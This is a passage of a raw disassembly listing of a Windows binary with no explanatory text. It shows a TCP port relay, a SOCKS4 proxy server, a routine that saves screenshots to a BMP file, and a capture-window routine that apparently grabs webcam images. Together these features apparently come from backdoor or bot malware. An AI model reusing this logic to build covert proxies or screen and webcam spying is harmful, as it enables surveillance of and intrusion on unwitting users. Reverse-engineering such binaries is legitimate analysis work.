		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_441438	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_407E83
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_417430
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4413B8	; ntohs
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4413F8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_407D5D
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_44143C	; gethostbyname
		jmp	short loc_407D6B
; ---------------------------------------------------------------------------


loc_407D5D:				; CODE XREF: ___:00407D4Cj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_441370	; gethostbyaddr


loc_407D6B:				; CODE XREF: ___:00407D5Bj
		cmp	eax, edi
		jz	loc_407E83
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_441360	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_407E83
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_441444	; inet_ntoa
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_4295B0
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp-344h]
		push	10h
		push	eax
		call	sub_416E58
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_446E1C[ebx]
		mov	dword_446E14[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_446E20[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_407EB4
		push	edi
		push	edi
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_446E24[ecx], eax
		jz	short loc_407E70


loc_407E1D:				; CODE XREF: ___:00407E2Aj
		cmp	[ebp-20h], edi
		jnz	short loc_407E2C
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_407E1D
; ---------------------------------------------------------------------------


loc_407E2C:				; CODE XREF: ___:00407E20j
		mov	ebx, 1000h


loc_407E31:				; CODE XREF: ___:00407E6Cj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_417430
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4413D0	; recv
		cmp	eax, edi
		jle	short loc_407E83
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_441408	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407E31
		jmp	short loc_407E83
; ---------------------------------------------------------------------------


loc_407E70:				; CODE XREF: ___:00407E1Bj
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset unk_429560
		call	sub_40C56B
		pop	ecx
		pop	ecx


loc_407E83:				; CODE XREF: ___:00407D11j
					; ___:00407D6Dj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_446E1C[eax]
		call	dword_441450	; closesocket
		push	dword ptr [ebp+8]
		call	dword_441450	; closesocket
		push	dword ptr [ebp-4]
		call	sub_417174
		pop	ecx
		push	edi
		nop
		call	near ptr 7C80C058h
		pop	edi
		pop	esi
		pop	ebx


loc_407EB4:				; DATA XREF: ___:00407DFDo
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_417B70
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_407EEB:				; CODE XREF: ___:00407F30j
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_417430
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_446E20[esi]
		call	dword_4413D0	; recv
		test	eax, eax
		jle	short loc_407F32
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_446E1C[esi]
		call	dword_441408	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407EEB


loc_407F32:				; CODE XREF: ___:00407F15j
		push	dword_446E20[esi]
		call	dword_441450	; closesocket
		push	dword ptr [ebp-14h]
		call	sub_417174
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		dw 9E8h
; ---------------------------------------------------------------------------
		inc	ecx
		inc	eax
		jl	short loc_407FAF
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F51	proc near		; DATA XREF: sub_40F6F1+5F90o

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417430
		add	esp, 0Ch
		mov	word ptr [ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_4413B8	; ntohs
		push	6
		push	edi
		push	2
		mov	word ptr [ebp+var_14+2], ax
		mov	[ebp+var_10], esi
		call	dword_441438	; socket
		mov	edi, eax


loc_407FAF:				; CODE XREF: ___:00407F4Ej
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_446E1C[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_4413E4	; bind
		test	eax, eax
		jnz	loc_4080F3
		push	0Ah
		push	edi
		call	dword_4413E0	; listen
		test	eax, eax
		jnz	loc_4080F3
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40AFAB
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_4296E0
		push	eax
		call	sub_4173AC
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_40802C
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40DC10
		add	esp, 14h


loc_40802C:				; CODE XREF: sub_407F51+B9j
					; sub_407F51+172j ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40C4F7
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_44144C	; accept
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_441444	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42968C
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	11h
		push	eax
		call	sub_416E58
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_446E14[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset loc_408156
		push	esi
		push	esi
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_446E24[ecx], eax
		jz	short loc_4080D3


loc_4080C0:				; CODE XREF: sub_407F51+180j
		cmp	[ebp+var_28], esi
		jnz	loc_40802C
		push	5
		nop
		call	near ptr 7C802442h
		jmp	short loc_4080C0
; ---------------------------------------------------------------------------


loc_4080D3:				; CODE XREF: sub_407F51+16Dj
		nop
		call	near ptr 7C910331h
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_429644
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		jmp	loc_40802C
; ---------------------------------------------------------------------------


loc_4080F3:				; CODE XREF: sub_407F51+7Bj
					; sub_407F51+8Cj
		push	edi
		call	dword_441450	; closesocket
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset unk_429604
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_408136
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40DC10
		add	esp, 14h


loc_408136:				; CODE XREF: sub_407F51+1C3j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_3C]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 7C80C058h
		pop	edi
		pop	esi
		pop	ebx


loc_408156:				; DATA XREF: sub_407F51+14Fo
		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_446E1C[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_4413A0	; select
		test	eax, eax
		jnz	short loc_4081D7
		push	dword ptr [esi]
		call	dword_441450	; closesocket
		push	[ebp+arg_0]
		call	sub_417174
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h


loc_4081D7:				; CODE XREF: sub_407F51+26Cj
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_4413D0	; recv
		test	eax, eax
		jg	short loc_408208
		push	dword ptr [esi]
		call	dword_441450	; closesocket
		push	[ebp+arg_0]
		call	sub_417174
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h


loc_408208:				; CODE XREF: sub_407F51+29Dj
		cmp	[ebp+var_4D0], 4
		jnz	loc_408402
		cmp	[ebp+var_4CF], 1
		jnz	loc_408402
		cmp	[ebp+var_44], bl
		jz	short loc_40829E
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40829E
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset unk_4297B4
		call	sub_40C56B
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_417430
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_441408	; send
		push	dword ptr [esi]
		call	dword_441450	; closesocket
		push	[ebp+arg_0]
		call	sub_417174
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h


loc_40829E:				; CODE XREF: sub_407F51+2D4j
					; sub_407F51+2EAj
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_417430
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_441438	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_408336
		call	dword_44134C	; WSAGetLastError
		push	eax
		push	offset unk_429768
		call	sub_40C56B
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417430
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_441408	; send
		push	dword ptr [esi]
		call	dword_441450	; closesocket
		push	[ebp+arg_0]
		call	sub_417174
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h


loc_408336:				; CODE XREF: sub_407F51+386j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_441360	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4083A5
		call	dword_44134C	; WSAGetLastError
		push	eax
		push	offset unk_429718
		call	sub_40C56B
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417430
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_441408	; send
		push	dword ptr [esi]
		call	dword_441450	; closesocket
		push	[ebp+arg_0]
		call	sub_417174
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h


loc_4083A5:				; CODE XREF: sub_407F51+3F5j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_417430
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_441408	; send
		push	dword ptr [esi]
		push	edi
		call	sub_40841A
		pop	ecx
		pop	ecx
		push	edi
		call	dword_441450	; closesocket
		push	dword ptr [esi]
		call	dword_441450	; closesocket
		push	[ebp+arg_0]
		call	sub_417174
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h


loc_408402:				; CODE XREF: sub_407F51+2BEj
					; sub_407F51+2CBj
		push	dword ptr [esi]
		call	dword_441450	; closesocket
		push	[ebp+arg_0]
		call	sub_417174
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h
sub_407F51	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40841A	proc near		; CODE XREF: sub_407F51+48Bp

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_408430:				; CODE XREF: sub_40841A+C5j
					; sub_40841A+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]


loc_408448:				; CODE XREF: sub_40841A+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_408458
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_408448


loc_408458:				; CODE XREF: sub_40841A+33j
		cmp	ecx, 1
		jnz	short loc_40846D
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_40846D:				; CODE XREF: sub_40841A+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_417430
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4413A0	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_4412B0	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_4084CD
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_4413D0	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408515
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_441408	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408515


loc_4084CD:				; CODE XREF: sub_40841A+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_4412B0	; __WSAFDIsSet
		test	eax, eax
		jz	loc_408430
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4413D0	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408515
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_441408	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_408430


loc_408515:				; CODE XREF: sub_40841A+9Aj
					; sub_40841A+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40841A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40851A	proc near		; CODE XREF: sub_40F6F1+46A2p

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4413A4	; CreateDCA
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_40874E
		push	8
		push	edi
		call	dword_4413C0	; GetDeviceCaps
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4413C0	; GetDeviceCaps
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4413C0	; GetDeviceCaps
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_40857C
		push	18h
		push	edi
		call	dword_4413C0	; GetDeviceCaps
		mov	ebx, 100h
		jmp	short loc_40857E
; ---------------------------------------------------------------------------


loc_40857C:				; CODE XREF: sub_40851A+50j
		xor	ebx, ebx


loc_40857E:				; CODE XREF: sub_40851A+60j
		push	edi
		call	dword_441404	; CreateCompatibleDC
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_408733
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4413FC	; CreateDIBSection
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_40873E
		push	eax
		push	[ebp+var_4]
		call	dword_441294	; SelectObject
		cmp	eax, esi
		jz	loc_40873E
		cmp	eax, 0FFFFFFFFh
		jz	loc_40873E
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_441400	; BitBlt
		test	eax, eax
		jz	loc_40873E
		cmp	ebx, esi
		jz	short loc_40863B
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4412E8	; GetDIBColorTable
		mov	ebx, eax


loc_40863B:				; CODE XREF: sub_40851A+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		nop
		call	near ptr 7C801A24h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40871E
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 7C810D87h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 7C810D87h
		cmp	ebx, esi
		jz	short loc_408700
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 7C810D87h


loc_408700:				; CODE XREF: sub_40851A+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C810D87h
		push	[ebp+arg_0]
		nop
		call	near ptr 7C809B47h
		push	1
		pop	esi


loc_40871E:				; CODE XREF: sub_40851A+1A2j
		push	[ebp+var_1C]
		call	dword_44131C	; DeleteObject
		push	[ebp+var_4]
		call	dword_441280	; DeleteDC
		mov	edi, [ebp+var_20]


loc_408733:				; CODE XREF: sub_40851A+70j
		push	edi
		call	dword_441280	; DeleteDC
		mov	eax, esi
		jmp	short loc_408750
; ---------------------------------------------------------------------------


loc_40873E:				; CODE XREF: sub_40851A+C7j
					; sub_40851A+D9j ...
		push	edi
		call	dword_441280	; DeleteDC
		push	[ebp+var_4]
		call	dword_441280	; DeleteDC


loc_40874E:				; CODE XREF: sub_40851A+23j
		xor	eax, eax


loc_408750:				; CODE XREF: sub_40851A+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40851A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408755	proc near		; CODE XREF: sub_40F6F1+47DEp

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_43FE50
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_441310
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_408793
		mov	eax, esi
		jmp	loc_408949
; ---------------------------------------------------------------------------


loc_408793:				; CODE XREF: sub_408755+35j
		push	edi
		call	dword_441358	; IsWindow
		test	eax, eax
		jz	short loc_4087B0
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_441414	; SendMessageA
		jmp	short loc_4087B2
; ---------------------------------------------------------------------------


loc_4087B0:				; CODE XREF: sub_408755+47j
		xor	eax, eax


loc_4087B2:				; CODE XREF: sub_408755+59j
		cmp	eax, ebx
		jnz	short loc_4087BD


loc_4087B6:				; CODE XREF: sub_408755+88j
					; sub_408755+BCj
		mov	ebx, esi
		jmp	loc_40893E
; ---------------------------------------------------------------------------


loc_4087BD:				; CODE XREF: sub_408755+5Fj
		push	edi
		call	dword_441358	; IsWindow
		test	eax, eax
		jz	short loc_4087DA
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_441414	; SendMessageA


loc_4087DA:				; CODE XREF: sub_408755+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_4087B6
		push	edi
		call	dword_441358	; IsWindow
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_408800
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_441414	; SendMessageA
		mov	[ebp+arg_4], eax
		jmp	short loc_408803
; ---------------------------------------------------------------------------


loc_408800:				; CODE XREF: sub_408755+98j
		mov	[ebp+arg_4], ebx


loc_408803:				; CODE XREF: sub_408755+A9j
		push	[ebp+arg_4]
		call	sub_417BEE
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_4087B6
		push	[ebp+arg_4]
		call	sub_417BEE
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_40882A
		push	1
		pop	ebx
		jmp	loc_40893E
; ---------------------------------------------------------------------------


loc_40882A:				; CODE XREF: sub_408755+CBj
		push	[ebp+var_4]
		call	dword_441358	; IsWindow
		test	eax, eax
		jz	short loc_408847
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_441414	; SendMessageA


loc_408847:				; CODE XREF: sub_408755+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_417490
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_408862
		mov	ecx, 280h


loc_408862:				; CODE XREF: sub_408755+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_40886E
		mov	eax, 1E0h


loc_40886E:				; CODE XREF: sub_408755+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_441358	; IsWindow
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_4088B8
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_441414	; SendMessageA


loc_4088B8:				; CODE XREF: sub_408755+153j
		push	[ebp+var_4]
		call	dword_441358	; IsWindow
		test	eax, eax
		jz	short loc_4088D5
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_441414	; SendMessageA


loc_4088D5:				; CODE XREF: sub_408755+16Ej
		push	[ebp+var_4]
		call	dword_441358	; IsWindow
		test	eax, eax
		jz	short loc_4088F4
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_441414	; SendMessageA


loc_4088F4:				; CODE XREF: sub_408755+18Bj
		push	[ebp+var_4]
		call	dword_441358	; IsWindow
		test	eax, eax
		jz	short loc_408911
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_441414	; SendMessageA


loc_408911:				; CODE XREF: sub_408755+1AAj
		push	[ebp+var_8]
		call	sub_417C62
		push	esi
		call	sub_417C62
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_441358	; IsWindow
		test	eax, eax
		jz	short loc_40893E
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_441414	; SendMessageA


